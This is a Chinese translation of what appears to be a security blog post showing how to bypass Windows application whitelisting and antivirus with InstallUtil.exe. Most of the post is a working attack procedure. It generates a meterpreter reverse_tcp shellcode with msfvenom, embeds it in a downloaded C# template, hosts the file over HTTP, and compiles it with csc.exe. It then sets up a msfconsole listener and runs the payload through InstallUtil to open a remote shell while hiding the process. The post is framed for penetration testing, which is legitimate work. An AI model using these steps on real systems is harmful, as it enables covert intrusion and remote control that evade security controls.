如何绕过应用白名单与杀毒软件
Brian Fehrman //
已发布多种绕过杀毒软件的方法,因此许多公司开始意识到应用白名单是另一个值得加入其安全工具库的工具。应用白名单的优势在于无需不断更新基于行为或签名的检测算法;你明确告诉它哪些程序可以运行。在此,我们将展示一种绕过某些应用白名单产品的方法。
首先,我们声明此方法并非我们开发。该方法由Casey Smith开发。我们偶然发现它,并认为它非常出色,必须分享。
此方法利用了Windows上的两个巧妙功能。第一个功能是无需Visual Studio环境即可编译C#程序的能力。第二个功能,即用于绕过应用白名单的功能,利用了一个名为InstallUtil.exe的工具。
第一个任务是获取InstallUtil-ShellCode.cs CSharp文件。 https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260 mv InstallUtil-ShellCode-cs InstallUtil-ShellCode.cs
下载CSharp文件后,是时候生成我们的Shellcode。我们将使用msfvenom输出一个reverse_tcp meterpreter stager。键入以下内容,将YOUR_IP替换为你的Kali机器的IP地址。 msfvenom -p windows/meterpreter/reverse_tcp lhost=YOUR_IP lport=443 -f csharp > shellcode.txt
现在,将shellcode.txt文件的内容复制到剪贴板。 cat shellcode.txt | xclip -selection clipboard
打开InstallUtil-ShellCode.cs文件进行编辑。 gedit InstallUtil-ShellCode.cs &
让我们花点时间谈谈这种方法的神奇之处。在InstallUtil-ShellCode.cs文件中,你会注意到顶部有两个函数。名为Main的函数(绿色框中的代码)将在程序正常执行时被调用(例如,双击、命令行、沙盒等)。名为Uninstall的函数(橙色框中的代码)将在使用InstallUtil.exe工具运行程序时执行。InstallUtil.exe工具通常在受信任应用程序列表中,并可能绕过某些应用白名单软件。Uninstall函数中的代码将调用Shellcode函数,这是我们的恶意代码所在之处。这里的妙处在于,它可能用于绕过基于行为的分析和应用白名单。通过额外的混淆,也可以避免基于签名的分析。
找到如下图所示的部分代码,并用当前剪贴板中的Shellcode(来自shellcode.txt的输出)替换它。将新粘贴的Shellcode中的“buf”一词更改为“shellcode”。
接下来,让我们将此文件传输到我们的Windows机器。保存InstallUtil-ShellCode.cs文件并退出gedit。在同一终端窗口中,键入以下内容以托管InstallUtil-ShellCode.cs文件: python –m SimpleHTTPServer 80
在你的Windows机器上,打开Web浏览器并键入你的Kali机器的IP地址。从目录列表中下载InstallUtil-ShellCode.cs文件。
让我们继续使用csc.exe工具编译文件。打开命令提示符,切换到Downloads目录,并通过键入以下内容编译程序: cd Downloads
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:exeshell.exe InstallUtil-ShellCode.cs
跳回Kali机器,让我们使用msfconsole启动一个Meterpreter监听器。通过在终端中按Ctrl-C终止python服务器。然后,键入以下内容(将YOUR_IP替换为你的Kali IP地址): msfconsole use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST YOUR_IP set LPORT 443 set ExitOnSession false run -j
回到Windows终端。键入以下内容以使用InstallUtil.exe工具执行Shellcode程序: C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
检查Windows任务管理器显示只有InstallUtil.exe进程存在,而不是我们的exeshell.exe文件。
跳回Kali机器并查看msfconsole窗口。你获得会话了吗?
总之,我们向你展示了一种可能绕过应用白名单软件的方法。该方法由Casey Smith开发。此演示着眼于建立meterpreter会话,但你可以执行在系统上的代码可能性是无限的。能够在Windows系统上编译代码而无需Visual Studio也是一个巨大的优势。此方法也可用于避免基于行为和签名的杀毒软件分析。这是你在评估安全工具时肯定想保留在工具箱中的一种方法。
加入BHIS博客邮件列表 – 当我们发布新博客、网络广播和播客时获得通知。 [jetpack_subscription_form show_only_email_and_button=”true” custom_background_button_color=”undefined” custom_text_button_color=”undefined” submit_button_text=”Subscribe” submit_button_classes=”undefined” show_subscribers_total=”true” ]